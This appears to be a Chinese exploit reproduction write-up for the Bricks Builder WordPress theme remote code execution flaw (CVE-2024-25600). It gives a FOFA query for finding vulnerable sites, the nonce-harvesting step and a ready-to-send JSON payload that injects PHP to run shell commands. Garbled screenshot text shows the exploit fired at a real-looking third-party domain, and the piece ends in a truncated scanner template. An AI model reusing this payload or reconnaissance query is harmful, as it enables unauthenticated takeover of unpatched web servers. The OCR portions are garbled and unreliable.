W5-1WordPres-BrickBuilder主题-RCE

漏洞描述:

WordPres 默认配置安装的 Brick Builder 主题在低于<= 1.9.6版本中存在远程代码执行漏洞,是由 "prepare query vars from settings" 函数中的一个 eval 函数错误调用导致的,未经身份验证的威胁攻 击者可利用该函数执行任意 PHP 代码,写入后门文件获取服务器权限

Bricks Builder <= 1.9.6

网络测绘:

fofa语法:

FOFA: body="/wp-content/themes/bricks/"

漏洞复现:

```
首先需要获取站点nonce的值
                                                                                                                                                                                                                                                                                                                                                         〈 〉 数据包扫描 热加载 构造请求 👙 Responses https 86025bytes / 1790ms
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               美化 渲染 nonce
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        8 Q 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       458 
458 cscript-src="https://in
yer=122829a85511591f14
459 cscript-src="https://insultexhousewrap.com/wp-content/plugins/woocommerce/assets/clien
blocks/blocks-components.js?ver=b165bb2bd213326d7f31"-id="wc-blocks-components-js">/
                             GET-/-HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      blocks/blocks-components.js?ver=b165bb2bd21332ed/f31**id="wc-blocks-components.js?versor"
script>
script>
script>
script>
script-id="scripts://insultexhousewrap.com/wp-content/plugins/woocommerce/assets/clien
blocks/blocks-checkout.js?ver=9f469ef17beaf7c51576**id="wc-blocks-checkout-js">sc/script
script*:mc-mittps://insultexhousewrap.com/wp-content/plugins/woocommerce/assets/js/
frontend/order-attribution-blocks.jm",sfoript>
script*:d="script-id="brickshoocommerce" - ("ajaxAddToCartHotices":","ajaxAddingText":"Adding",
"ajaxAddedText":"Added","addedToCartHotices":","showNotice":"no","scrollToNotice":"no
"resetTextAfter":"3", "useCtyInLoop":"];
var-bricksData-- ("debug":"," "locale":"em_US", "ajaxUn":"https://insultexhousewrap.
com/wp-admin/vadsin-ajax.php","restApiUn1":"https://insultexhousewrap.com/wp-json/bricks/v1/" "moun":"sb69646656", "pwRestBonces":","off0991009","postId="":",""
"resetDextApid=""," "sold="scripts"," "protage:"];
"recaptchalds":[], "animatedTypingInstances":[], "videoInstances":[], "interactions":[],
"facebookAppId":"," "offsetLazyLoad":"300", "headerPosition": 'top");
(/script)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         </script>
</script>
</script>
<script-sec="thtps://insultexhousewrap.com/wp-content/themes/bricks/assets/js/bricks.min.js?ver=1701537874":id="bricks-scripts-js"></script-sec="https://insultexhousewrap.com/wp-content/themes/bricks/assets/js/bricks-min.js?ver=1701537874":id="bricks-woocommerce-js"></script-sec="https://insultexhousewrap.com/wp-content/themes/bricks/assets/js/integrations/woocommerce.min.js?ver=1701537874":id="bricks-woocommerce-js"></script></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fragments-js-extra"></script-id="wc-cart-fr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            467
 payload:
 POST /wp-json/bricks/v1/render element HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Content-Type: application/json
             "postId": "1",
"nonce": "获取到的值",
"element": {
    "name": "container",
                          "name": "container",
"settings": {
    "hasLoop": "true",
    "query": {
    ""yesOperyFditor"
                                                query : {
  "useQueryEditor": true,
  "queryEditor": "throw new Exception(`uname -a`);",
  "objectType": "post"
 效果图:
 命令执行
                                                                                                                                                                                                                                                                                                                                                               〈 〉 数据包扫描 熱加载 杓造诗求 💥
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Responses https 184bytes / 1052ms
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              美化 请输入定位响应
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Q
                                         POST /wp-json/bricks/v1/render_element HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   1 HTTP/1.1-200-0K
                                         Host: insultexhousewrap.com
User-Agent: Mozilla/5.0 (Nindows-NT-10.0; Win64; x64; rv:122.0) -Gecko/20100101-Firefox/122.0
Accept: "A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Date: Thu, 22 Feb 2024-14:42:20 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Uste: 'nu, '22'+eo' 2024-14:42':20':09|

X-Powered-By: PMP/8.0.30

X-Powered-By: PMP/8.0.30

Link: '<a href="https://insultexhousewrap.com/wp-json/">https://insultexhousewrap.com/wp-json/</a>; rel="https://api.w.org/"

X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: 'A-WP-Total, 'X-WP-TotalPages, 'Link
Access-Control-Allow-Headers: 'Authorization, 'X-WP-Nonce, 'Content-Tolisposition, 'Content-Tol
                                          Content-Type: application/json
                                                    "postId": "1",
"nonce": "db8fa4fe36",
"element": {
..."name": "container",
            10 ~
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Content-MD5. Content-Type
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Content-MDS, 'Content-Type
Allow: POST
Upgrade: h2,h2c
Connection: 'Upgrade
Vary: 'Accept-Encoding
Content-Type: 'application/json; 'charset=UTF-8
Content-Length: '184
                                                                new Exception(`uname -a`);",
```

Yaml模板

id: CVE-2024-25600

name: Unauthenticated Remote Code Execution - Bricks <= 1.9.6

author: christbowel

description: Bricks Builder is a popular WordPress development theme with approximately 25,000 active installations. It provides an intuitive drag-and-drop interface f